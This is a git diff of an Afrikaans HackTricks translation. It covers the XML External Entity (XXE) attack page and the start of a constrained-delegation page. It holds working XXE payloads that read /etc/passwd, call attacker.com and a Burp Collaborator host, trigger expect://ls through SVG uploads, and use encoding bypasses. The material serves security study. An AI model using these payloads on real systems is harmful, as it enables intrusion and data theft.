* `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
@ -73,9 +77,9 @@ In hierdie derde geval let ons daarop dat ons die `Element stockCheck` as ENIGS
```
![](<../.gitbook/assets/image (750).png>)
### Lys van gids
### Gidslys
In **Java**-gebaseerde aansoeke is dit moontlik om die inhoud van 'n gids te lys via XXE met 'n lading soos (net vra vir die gids in plaas van die lêer):
In **Java**-gebaseerde aansoeke is dit moontlik om die inhoud van 'n gids te **lys deur XXE te gebruik met 'n lading soos (net om vir die gids te vra in plaas van die lêer):**
```xml
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
@ -93,7 +97,7 @@ In **Java**-gebaseerde aansoeke is dit moontlik om die inhoud van 'n gids te lys
```
### Blinde SSRF
Deur die **voorheen gekommentarieerde tegniek** te gebruik, kan jy die bediener laat toegang verkry tot 'n bediener wat jy beheer om te wys dat dit kwesbaar is. Maar, as dit nie werk nie, is dit moontlik omdat **XML-entiteite nie toegelaat word** nie, in daardie geval kan jy probeer om **XML-parameter-entiteite** te gebruik:
Deur die **voorheen gekommentarieerde tegniek** te gebruik, kan jy die bediener dwing om 'n bediener wat jy beheer te benader om te wys dat dit kwesbaar is. Maar, as dit nie werk nie, is dit moontlik omdat **XML-entiteite nie toegelaat word nie**, in daardie geval kan jy probeer om **XML-parameter-entiteite** te gebruik:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
@ -101,7 +105,7 @@ Deur die **voorheen gekommentarieerde tegniek** te gebruik, kan jy die bediener
```
### "Blind" SSRF - Uitlek van data buite-band
**In hierdie geval gaan ons die bediener 'n nuwe DTD laat laai met 'n skadelike lading wat die inhoud van 'n lêer via 'n HTTP-aanvraag sal stuur (**vir **meerreëlige lêers kan jy probeer om dit via** _**ftp://**_ **uit te lek met behulp van hierdie basiese bediener byvoorbeeld [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Hierdie verduideliking is gebaseer op** [**Portswiggers lab hier**](https://portswigger.net/web-security/xxe/blind)**.**
**In hierdie geval gaan ons die bediener 'n nuwe DTD laat laai met 'n skadelike lading wat die inhoud van 'n lêer via 'n HTTP-aanvraag sal stuur (**vir **meerreëlige lêers kan jy probeer om dit via** _**ftp://**_ te lek met behulp van hierdie basiese bediener byvoorbeeld [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Hierdie verduideliking is gebaseer op** [**Portswiggers lab hier**](https://portswigger.net/web-security/xxe/blind)**.**
In die skadelike DTD wat gegee word, word 'n reeks stappe onderneem om data uit te lek:
@ -140,7 +144,7 @@ Hierdie lading definieer 'n XML-parameterentiteit `%xxe` en sluit dit in binne d
'n XML-ontledingsfoutboodskap wat die inhoud van die `/etc/passwd`-lêer onthul, kan geaktiveer word deur 'n skadelike eksterne Dokumenttipe-definisie (DTD) te gebruik. Dit word bereik deur die volgende stappe:
1. 'n XML-parameterentiteit met die naam `file` word gedefinieer, wat die inhoud van die `/etc/passwd`-lêer bevat.
2. 'n XML-parameterentiteit met die naam `eval` word gedefinieer, wat 'n dinamiese verklaring vir 'n ander XML-parameterentiteit met die naam `error` insluit. Hierdie `error`-entiteit probeer, wanneer geëvalueer, 'n nie-bestaande lêer laai, wat die inhoud van die `file`-entiteit as sy naam insluit.
2. 'n XML-parameterentiteit met die naam `eval` word gedefinieer, wat 'n dinamiese verklaring vir 'n ander XML-parameterentiteit met die naam `error` insluit. Hierdie `error`-entiteit probeer, wanneer dit geëvalueer word, 'n nie-bestaande lêer laai, en sluit die inhoud van die `file`-entiteit as sy naam in.
3. Die `eval`-entiteit word aangeroep, wat lei tot die dinamiese verklaring van die `error`-entiteit.
4. Die aanroeping van die `error`-entiteit lei tot 'n poging om 'n nie-bestaande lêer te laai, wat 'n foutboodskap produseer wat die inhoud van die `/etc/passwd`-lêer as deel van die lêernaam insluit.
@ -156,13 +160,13 @@ Bij uitvoering moet die webbediener se reaksie 'n foutboodskap insluit wat die i
_**Let asseblief daarop dat 'n eksterne DTD ons toelaat om een entiteit binne die tweede (****`eval`****) in te sluit, maar dit is verbode in die interne DTD. Daarom kan jy nie 'n fout afdwing sonder om 'n eksterne DTD te gebruik (gewoonlik).**_
### **Fout-gebaseer (sisteem DTD)**
### **Foutgebaseerd (sisteem DTD)**
Wat van blinde XXE- kwesbaarhede wanneer **out-of-band interaksies geblokkeer is** (eksterne verbindinge is nie beskikbaar nie)?.
'n Oorweging in die XML-taal spesifikasie kan 'n **blootstelling van sensitiewe data deur foutboodskappe veroorsaak wanneer 'n dokument se DTD interne en eksterne verklarings meng**. Hierdie probleem maak die interne herdefiniëring van entiteite wat eksterne verklaar is moontlik, wat die uitvoering van fout-gebaseerde XXE-aanvalle fasiliteer. Sulke aanvalle maak gebruik van die herdefiniëring van 'n XML-parameterentiteit, oorspronklik verklaar in 'n eksterne DTD, van binne 'n interne DTD. Wanneer out-of-band verbindinge deur die bediener geblokkeer word, moet aanvallers staatmaak op plaaslike DTD-lêers om die aanval uit te voer, met die doel om 'n parsingsfout te veroorsaak om sensitiewe inligting bloot te lê.
'n Oorweging in die XML-taal spesifikasie kan **sensitiewe data blootstel deur foutboodskappe wanneer 'n dokument se DTD interne en eksterne verklarings meng**. Hierdie probleem maak die interne herdefiniëring van entiteite wat eksterne verklaar is moontlik, wat die uitvoering van foutgebaseerde XXE-aanvalle fasiliteer. Sulke aanvalle maak gebruik van die herdefiniëring van 'n XML-parameterentiteit, oorspronklik verklaar in 'n eksterne DTD, van binne 'n interne DTD. Wanneer out-of-band verbindinge deur die bediener geblokkeer word, moet aanvallers staatmaak op plaaslike DTD-lêers om die aanval uit te voer, met die doel om 'n parsingsfout te veroorsaak om sensitiewe inligting bloot te lê.
Oorweeg 'n scenario waar die bediener se lêersisteem 'n DTD-lêer by `/usr/local/app/schema.dtd` bevat, wat 'n entiteit met die naam `custom_entity` definieer. 'n Aanvaller kan 'n XML-parsingsfout veroorsaak wat die inhoud van die `/etc/passwd`-lêer blootstel deur 'n hibriede DTD in te dien soos volg:
Oorweeg 'n scenario waar die bediener se lêersisteem 'n DTD-lêer by `/usr/local/app/schema.dtd` bevat, wat 'n entiteit met die naam `custom_entity` definieer. 'n Aanvaller kan 'n XML-parsingsfout induseer wat die inhoud van die `/etc/passwd`-lêer blootstel deur 'n hibriede DTD in te dien soos volg:
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
@ -207,13 +211,13 @@ Aangesien hierdie tegniek 'n **interne DTD gebruik, moet jy eers 'n geldige een
```
Vir meer inligting, kyk na [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind)
### Opsoek na DTD's binne die stelsel
### Opsoek na DTDs binne die stelsel
In die volgende wonderlike github-opberging kan jy **paaie van DTD's wat in die stelsel teenwoordig kan wees**, vind:
In die volgende wonderlike github-opberging kan jy **paaie van DTDs wat in die stelsel teenwoordig kan wees**, vind:
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
Verder, as jy die **Docker-beeld van die slagofferstelsel** het, kan jy die gereedskap van dieselfde opberging gebruik om die **beeld** te **skandeer** en die paaie van **DTD's** wat teenwoordig is binne die stelsel, te **vind**. Lees die [Leesmy van die github](https://github.com/GoSecure/dtd-finder) om te leer hoe.
Verder, as jy die **Docker-beeld van die slagofferstelsel** het, kan jy die gereedskap van dieselfde opberging gebruik om die **beeld** te **skandeer** en die paaie van **DTDs** wat teenwoordig is binne die stelsel, te **vind**. Lees die [Leesmy van die github](https://github.com/GoSecure/dtd-finder) om te leer hoe.
```bash
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
@ -229,11 +233,11 @@ Testing 0 entities : []
Vir 'n meer in-diepte verduideliking van hierdie aanval, **kyk na die tweede afdeling van** [**hierdie wonderlike pos**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **van Detectify**.
Die vermoë om **Microsoft Office-dokumente te laai word deur baie webtoepassings aangebied**, wat dan voortgaan om sekere besonderhede uit hierdie dokumente te onttrek. Byvoorbeeld, 'n webtoepassing mag gebruikers toelaat om data in te voer deur 'n XLSX-formaat sigblad te laai. Ten einde die data uit die sigblad te onttrek, sal die ontleder onvermydelik ten minste een XML-lêer moet ontled.
Die vermoë om **Microsoft Office-dokumente te laai word deur baie webtoepassings aangebied**, wat dan voortgaan om sekere besonderhede uit hierdie dokumente te onttrek. Byvoorbeeld, 'n webtoepassing mag gebruikers toelaat om data in te voer deur 'n XLSX-formaat sigblad te laai. Ten einde die data uit die sigblad te onttrek, sal die ontleder noodwendig ten minste een XML-lêer moet ontled.
Om vir hierdie kwesbaarheid te toets, is dit nodig om 'n **Microsoft Office-lêer te skep wat 'n XXE-lading bevat**. Die eerste stap is om 'n leë gids te skep waarin die dokument uitgepak kan word.
Sodra die dokument uitgepak is, moet die XML-lêer wat geleë is by `./unzipped/word/document.xml` oopgemaak en in 'n voorkeur teksredigeerder (soos vim) gewysig word. Die XML moet gewysig word om die gewenste XXE-lading in te sluit, dikwels beginnende met 'n HTTP-versoek.
Sodra die dokument uitgepak is, moet die XML-lêer wat by `./unzipped/word/document.xml` geleë is, in 'n voorkeur teksredigeerder (soos vim) oopgemaak en gewysig word. Die XML moet gewysig word om die gewenste XXE-lading in te sluit, dikwels beginnende met 'n HTTP-versoek.
Die gewysigde XML-lyne moet tussen die twee hoof XML-voorwerpe ingevoeg word. Dit is belangrik om die URL met 'n monitorbare URL vir versoek te vervang.
@ -260,13 +264,13 @@ Die proses agter die toegang tot 'n lêer binne 'n PKZIP-argief via die jar-prot
4. Die spesifieke lêer binne die argief, `file.zip`, word gelees.
5. Na die operasie word enige tydelike lêers wat tydens hierdie proses geskep is, verwyder.
'n Interessante tegniek om hierdie proses by die tweede stap te onderbreek, behels om die bedienersverbinding onbeperk oop te hou wanneer die argief-lêer bedien word. Gereedskap beskikbaar by [hierdie argief](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution) kan vir hierdie doel gebruik word, insluitend 'n Python-bediener (`slow_http_server.py`) en 'n Java-bediener (`slowserver.jar`).
'n Interessante tegniek om hierdie proses by die tweede stap te onderbreek, behels om die bedienersverbinding onbeperk oop te hou wanneer die argief-lêer bedien word. Gereedskap beskikbaar by [hierdie argief](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution) kan vir hierdie doel gebruik word, insluitend 'n Python-bedieners (`slow_http_server.py`) en 'n Java-bedieners (`slowserver.jar`).
```xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>
```
{% hint style="danger" %}
Die skryf van lêers in 'n tydelike gids kan help om 'n ander kwesbaarheid te verhoog wat 'n padtraversie insluit (soos plaaslike lêer insluiting, templaat inspuiting, XSLT RCE, deserialisering, ens.).
Die skryf van lêers in 'n tydelike gids kan help om 'n ander kwesbaarheid te verhoog wat 'n padtraversie behels (soos plaaslike lêer insluiting, templaat inspuiting, XSLT RCE, deserialisering, ens.).
{% endhint %}
### XSS
@ -318,7 +322,7 @@ en deur die volgende versoek te stuur
### XInclude
Wanneer kliëntdata geïntegreer word in bedienerkant XML-dokumente, soos dié in agterkant SOAP-versoeke, is direkte beheer oor die XML-struktuur dikwels beperk, wat tradisionele XXE-aanvalle belemmer as gevolg van beperkings op die wysiging van die `DOCTYPE` element. 'n `XInclude`-aanval bied egter 'n oplossing deur die invoeging van eksterne entiteite binne enige data-element van die XML-dokument moontlik te maak. Hierdie metode is doeltreffend selfs wanneer slegs 'n gedeelte van die data binne 'n bediener-geskepte XML-dokument beheer kan word.
Wanneer kliëntdata geïntegreer word in bedienerkant XML-dokumente, soos dié in agterkant SOAP-versoeke, is direkte beheer oor die XML-struktuur dikwels beperk, wat tradisionele XXE-aanvalle belemmer as gevolg van beperkings op die wysiging van die `DOCTYPE` element. 'n `XInclude`-aanval bied egter 'n oplossing deur die invoeging van eksterne entiteite binne enige data-element van die XML-dokument moontlik te maak. Hierdie metode is doeltreffend selfs wanneer slegs 'n gedeelte van die data binne 'n bediener-gegenereerde XML-dokument beheer kan word.
Om 'n `XInclude`-aanval uit te voer, moet die `XInclude`-naamruimte verklaar word, en die lêerpad vir die bedoelde eksterne entiteit moet gespesifiseer word. Hieronder is 'n bondige voorbeeld van hoe so 'n aanval geformuleer kan word:
```xml
@ -328,9 +332,9 @@ Kyk na [https://portswigger.net/web-security/xxe](https://portswigger.net/web-se
### SVG - Lêeroplaai
Lêers wat deur gebruikers na sekere toepassings gestuur word en dan op die bediener verwerk word, kan kwesbaarhede uitbuit in hoe XML- of XML-bevattende lêerformate hanteer word. Gewone lêerformate soos kantoor dokumente (DOCX) en beelde (SVG) is gebaseer op XML.
Lêers wat deur gebruikers na sekere toepassings opgelaai word en dan op die bediener verwerk word, kan kwesbaarhede uitbuit in hoe XML- of XML-bevattende lêerformate hanteer word. Gewone lêerformate soos kantoor-dokumente (DOCX) en beelde (SVG) is gebaseer op XML.
Wanneer gebruikers **beelde oplaai**, word hierdie beelde aan die bedienerkant verwerk of geverifieer. Selfs vir toepassings wat formate soos PNG of JPEG verwag, kan die **bediener se beeldverwerkingbiblioteek ook SVG-beelde ondersteun**. SVG, as 'n op XML-gebaseerde formaat, kan deur aanvallers uitgebuit word om skadelike SVG-beelde in te dien, wat die bediener blootstel aan XXE (XML External Entity) kwesbaarhede.
Wanneer gebruikers **beelde oplaai**, word hierdie beelde aan die bedienerkant verwerk of geverifieer. Selfs vir toepassings wat formate soos PNG of JPEG verwag, kan die **bediener se beeldverwerkingsbiblioteek ook SVG-beelde ondersteun**. SVG, as 'n op XML-gebaseerde formaat, kan deur aanvallers uitgebuit word om skadelike SVG-beelde in te dien, wat die bediener blootstel aan XXE (XML External Entity) kwesbaarhede.
'n Voorbeeld van so 'n aanval word hieronder getoon, waar 'n skadelike SVG-beeld probeer om stelsellêers te lees:
```xml
@ -342,11 +346,11 @@ Wanneer gebruikers **beelde oplaai**, word hierdie beelde aan die bedienerkant v
<image xlink:href="expect://ls"></image>
</svg>
```
In beide gevalle word die SVG-formaat gebruik om aanvalle te lanceer wat die XML-verwerkingseienskappe van die bediener se sagteware uitbuit, wat die behoefte aan deeglike insetvalidering en sekuriteitsmaatreëls beklemtoon.
In beide gevalle word die SVG-formaat gebruik om aanvalle te lanceer wat die XML-verwerkingseienskappe van die bediener se sagteware benut, wat die behoefte aan deurslagkragtige insetvalidering en sekuriteitsmaatreëls beklemtoon.
Kyk na [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) vir meer inligting!
**Merk op dat die eerste lyn van die geleesde lêer of van die resultaat van die uitvoering BINNE die geskepte beeld sal verskyn. So jy moet in staat wees om toegang tot die beeld te wat SVG geskep het.**
**Merk op dat die eerste lyn van die geleesde lêer of van die resultaat van die uitvoering BINNE die geskepte beeld sal verskyn. So jy moet in staat wees om toegang tot die beeld te verkry wat SVG geskep het.**
### **PDF - Lêeroplaai**
@ -376,7 +380,7 @@ Content-Length: 52
```
### Inhouds-Tipe: Van JSON tot XEE
Om die versoek te verander, kan jy 'n Burp-uitbreiding genaamd "**Inhouds-Tipe-Omskakelaar**" gebruik. [Hier](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) kan jy hierdie voorbeeld vind:
Om die versoek te verander, kan jy 'n Burp-uitbreiding genaamd "**Content Type Converter**" gebruik. [Hier](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) kan jy hierdie voorbeeld vind:
```xml
Content-Type: application/json;charset=UTF-8
@ -416,7 +420,7 @@ Dit werk net as die XML-bediener die `data://`-protokol aanvaar.
### UTF-7
Jy kan die \[**"Encode Recipe**" van cyberchef hier ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) transformeer na UTF-7.
Jy kan die \[**"Encode Recipe**" van cyberchef hier ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) omskep na UTF-7.
```xml
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
@ -436,7 +440,7 @@ Indien die web Java gebruik, kan jy die [**jar: protokol**](xxe-xee-xml-external
### HTML Entiteite
Truuk van [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
Truuk vanaf [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
Jy kan 'n **entiteit binne 'n entiteit** skep deur dit te kodeer met **html entiteite** en dit dan roep om 'n **dtd te laai**.\
Let daarop dat die **HTML Entiteite** wat gebruik word, **numeries** moet wees (soos \[in hierdie voorbeeld]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C)).
```xml
@ -484,7 +488,7 @@ DTD-voorbeeld:
Hierdie voorbeeld is geïnspireer deur [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
XLIFF (XML Lokalisering Uitruil Lêerformaat) word gebruik om data-uitruil in lokaliseringprosesse te standaardiseer. Dit is 'n op XML-gebaseerde formaat wat hoofsaaklik gebruik word vir die oordrag van lokaliseerbare data tussen gereedskap tydens lokalisering en as 'n algemene uitruilformaat vir KOT (Rekenaarondersteunde Vertaling) gereedskap.
XLIFF (XML Lokalisering Uitruil Lêerformaat) word gebruik om data-uitruil in lokaliseringprosesse te standaardiseer. Dit is 'n op XML-gebaseerde formaat wat hoofsaaklik gebruik word vir die oordrag van lokaliseerbare data tussen gereedskap tydens lokalisering en as 'n algemene uitruilformaat vir CAT (Rekenaarondersteunde Vertaling) gereedskap.
### Blinde Versoek Analise
@ -500,7 +504,7 @@ Content-Type: application/x-xliff+xml
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
Egter, hierdie versoek veroorsaak 'n interne bedienerfout, wat spesifiek 'n probleem met die merkverklarings noem:
Egter, hierdie versoek veroorsaak 'n interne bedieningsfout, wat spesifiek 'n probleem met die merkverklarings noem:
```json
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
```
@ -518,9 +522,9 @@ Content-Type: application/x-xliff+xml
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
Hierdie benadering onthul dat die Gebruiker Agent aandui dat Java 1.8 gebruik word. 'n Notasiebeperking met hierdie weergawe van Java is die onvermoë om lêers wat 'n nuwe lynkarakter bevat, soos /etc/passwd, te herwin deur die Out of Band-tegniek te gebruik.
Hierdie benadering wys dat die Gebruikeragent aandui dat Java 1.8 gebruik word. 'n Notasiebeperking met hierdie weergawe van Java is die onvermoë om lêers wat 'n nuwe lynkarakter bevat, soos /etc/passwd, te herwin deur die Out of Band-tegniek te gebruik.
Fout-Gebaseerde Data Uitlekking Om hierdie beperking te oorkom, word 'n Fout-Gebaseerde benadering gebruik. Die DTD-lêer is gestruktureer as volg om 'n fout te veroorsaak wat data vanaf 'n teikenvoer bevat:
Foutgebaseerde Data Uitlekking Om hierdie beperking te oorkom, word 'n Foutgebaseerde benadering gebruik. Die DTD-lêer is as volg gestruktureer om 'n fout te veroorsaak wat data van 'n teikenglêer insluit:
```xml
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
@ -546,7 +550,7 @@ Geldige XML met RSS-formaat om 'n XXE kwesbaarheid te benut.
### Ping terug
Eenvoudige HTTP versoek na aanvaller se bediener
Eenvoudige HTTP versoek na aanvallers se bediener
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
@ -613,7 +617,7 @@ Met PHP base64 filter
```
## Java XMLDecoder XEE na RCE
XMLDecoder is 'n Java klas wat voorwerpe skep gebaseer op 'n XML-boodskap. As 'n skadelike gebruiker 'n aansoek kan kry om willekeurige data te gebruik in 'n oproep na die metode **readObject**, sal hy dadelik kode-uitvoering op die bediener verkry.
XMLDecoder is 'n Java klas wat voorwerpe skep gebaseer op 'n XML-boodskap. As 'n skadelike gebruiker 'n aansoek kan kry om arbitrêre data te gebruik in 'n oproep na die metode **readObject**, sal hy dadelik kode-uitvoering op die bediener verkry.
### Gebruik van Runtime().exec()
```xml
@ -646,8 +650,6 @@ XMLDecoder is 'n Java klas wat voorwerpe skep gebaseer op 'n XML-boodskap. As 'n
</java>
```
### ProcessBuilder
### Prosesbouer
```xml
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
@ -685,20 +687,24 @@ XMLDecoder is 'n Java klas wat voorwerpe skep gebaseer op 'n XML-boodskap. As 'n
* [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\\
* [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\\
* Inligting onttrek via HTTP deur eie eksterne DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\
* Haal inligting uit via HTTP deur eie eksterne DTD te gebruik: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\\
* [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\\
* [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\\
* [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\\
* [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -1,4 +1,4 @@
# Bron-gebaseerde Beperkte Delegasie
# Hulpbron-gebaseerde Beperkte Delegasie
<details>
@ -6,52 +6,56 @@
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
## Basiese beginsels van Bron-gebaseerde Beperkte Delegasie
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
Dit is soortgelyk aan die basiese [Beperkte Delegasie](constrained-delegation.md) maar **in plaas daarvan** om toestemmings aan 'n **voorwerp** te gee om **enige gebruiker teenoor 'n diens te verteenwoordig**. Bron-gebaseerde Beperkte Delegasie **stel in** die voorwerp wie in staat is om enige ander gebruiker teenoor hom te verteenwoordig.
{% embed url="https://websec.nl/" %}
